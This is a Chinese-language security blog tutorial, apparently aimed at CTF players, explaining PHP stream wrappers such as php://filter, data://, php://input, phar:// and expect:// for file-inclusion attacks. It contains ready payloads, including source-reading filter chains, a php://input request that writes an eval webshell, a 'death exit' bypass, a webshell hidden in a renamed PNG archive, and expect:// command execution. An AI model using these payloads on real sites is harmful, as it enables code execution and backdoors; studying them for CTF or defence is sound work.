php伪协议

Sl0th Lv4

PHP伪协议

前置条件–php.ini参数设置

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;

allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

文件包含函数

1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、readfile

8、file_get_contents 9、fopen 10、file(比较常见)

php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

https://segmentfault.com/a/1190000018991087

file://

该协议在双off情况下也能正常使用,用于访问本地文件系统(本地指定的是当前环境,ctf中的题目环境)

1
http://127.0.0.1/cmd.php?file=file://文件绝对路径/网络路径

php://

php://作用为访问输入输出流

使用条件:

1. 不需要开启allow_url_fopen

2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php://filter 用于读取源码且在双off的情况下也可以正常使用

php://filter

该协议可以获取指定文件源码,当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码(通常base64),让其不执行。

名称 描述
resource=<要过滤的数据流> 这个参数是必须要出现在协议中的,决定了你要读取的数据流(文件)
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

以下两种用法相同
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php

常见payload

1
2
php://filter/read=convert.base64-encode/resource=index.php 以base64编码方式输出源码
php://filter/resource=index.php

使用的convert.base64-encode,就是一种过滤器

过滤器

一、字符串过滤器

通常以string开头,对每个字符都进行同样方式的处理。

1
2
3
4
string.rot13  # 一种字符处理方式,字符右移十三位。
string.toupper # 将所有字符转换为大写。
string.tolower # 将所有字符转换为小写。
string.strip_tags # 这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。

二、转换过滤器

对数据流进行编码,防止被解析执行,通常用来读取文件源码。

1
2
3
4
convert.base64-encode  # base64加密
convert.base64-decode # base64解密
convert.quoted-printable-encode & convert.quoted-printable-decode
# 可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。

三、压缩过滤器

这里的压缩不是生成zip文件,只是压缩和解压数据流中的有效载荷部分。

zlib.deflate(压缩)

zlib.inflate(解压)

bzip2.compressbzip2.decompress工作的方式与 zlib 过滤器大致相同

四、加密过滤器

mcrypt.*mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

利用filter伪协议绕过死亡exit

死亡exit指的是在进行写入PHP文件操作时,执行了以下函数中的一种:

1
2
3
file_put_contents($content, '<?php exit();' . $content);
file_put_contents($content, '<?php exit();?>' . $content);
//这会使php文件开头四exit函数,无法执行后续代码

base64decode绕过

利用php://filter的base64-decode方法,将$content(死亡exit)解码,利用php base64_decode函数特性去除死亡exit,当$content 包含 时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。

base64编码中只包含64个可打印字符(a-z 0-9 A-Z),当PHP遇到不可解码的字符时,会选择性的跳过

strip_tags绕过

<?php exit; ?>实际上是一个XML标签,可以利用strip_tags函数去除,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原

1
php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

data://

利用data:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include

当它与包含函数结合时,用户输入的data://流会被当作php文件执行

1
2
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

php://input

将post请求的数据当作php代码执行(记住要加上php头)

遇到file_get_contents()要想到用php://input绕过

当enctype=”multipart/form-data”的时候 php://input 是无效的

读取POST数据

php://input可以读取POST上没有经过解析的原始数据
利用php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启
示例代码如下

1
echo file_get_contents("php://input");

上面代码输出file_get_contents函数获取的php://input数据。
测试时传入POST数据字符串test
最后会在页面回显出test

写入木马

利用php://input写入木马的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以写入木马
示例代码如下:

1
2
3
4
<?php
$file=$_GET['file'];
include($file);
?>

如果POST传入的是一个执行写入木马的PHP代码,就会在当前目录下写入一个木马,通过POST方法传入的是以下代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利用php://input传入木马的PHP代码
http"//www.abc.com/xxx/file.php?file=php://input
测试的结果就是通过php://input传入了这个代码,并在当前目录下建立了shell.php文件

执行命令

<?php system('ls');?>

zip://

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

1
2
3
4
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
  1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

1
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

2.compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

1
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

1
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

phar://伪协议

phar:// 是用来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
用法:?file=phar://压缩包/压缩文件
比如:phar://xxx.png/shell.php
利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:压缩包需要用zip://伪协议压缩而不能用rar://,将木马文件压缩后,改成任意后缀名都可以正常使用

写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

expect://伪协议

expect://伪协议用来执行系统命令,但是需要安装拓展
用法: ?file=expect://ls

  • 标题: php伪协议
  • 作者: Sl0th
  • 创建于 : 2022-01-02 23:06:47
  • 更新于 : 2024-07-03 23:07:32
  • 链接: http://sl0th.top/2022/01/02/php伪协议/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论